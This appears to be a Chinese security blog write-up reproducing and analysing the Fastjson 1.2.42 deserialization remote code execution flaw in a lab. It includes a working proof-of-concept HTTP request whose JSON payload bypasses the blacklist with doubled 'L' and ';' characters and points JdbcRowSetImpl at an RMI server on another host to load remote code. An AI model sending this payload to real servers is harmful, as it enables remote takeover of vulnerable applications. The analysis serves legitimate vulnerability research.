Loading

Fastjson 1.2.42 Rce 漏洞复现&分析

0x01 漏洞背景

影响范围:1.2.42

漏洞描述:1.2.42针对1.2.41进行了修补,取第二个字符到倒数第二个字符之间的内容做黑名单检查,但仍然被绕过,造成命令执行

0x02 漏洞复现

poc:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 149

{           
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
	"autoCommit":true
}

image-20201116192128605

0x03 漏洞分析

由于1.2.25-41版本的checkAutoType被绕过,所以42版本的修复主要是针对checkAutoType方法的,将黑名单改成了十进制,且黑名单检测方式从startswith变成了hash运算检测。

image-20201116200822418

黑白名单检测

image-20201116200635556

因此我们只需构造两个LL和;;,便可绕过第一个过滤直接到达,且绕过黑名单检测,到达TypeUtils.loadClass,进入类加载的流程,后面基本与1.2.41一致,两个L和;经历过两次递归加载,最终加载到我们的目标类

image-20201116202627398

第二次加载

image-20201116202758205

最后一次直接加载目标类,并返回

image-20201116202905080

剩下的流程参考1.2.24

0x04 参考链接

https://paper.seebug.org/1192/

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/

posted @ 2021-02-05 16:55  0x28  阅读(421)  评论(0编辑  收藏  举报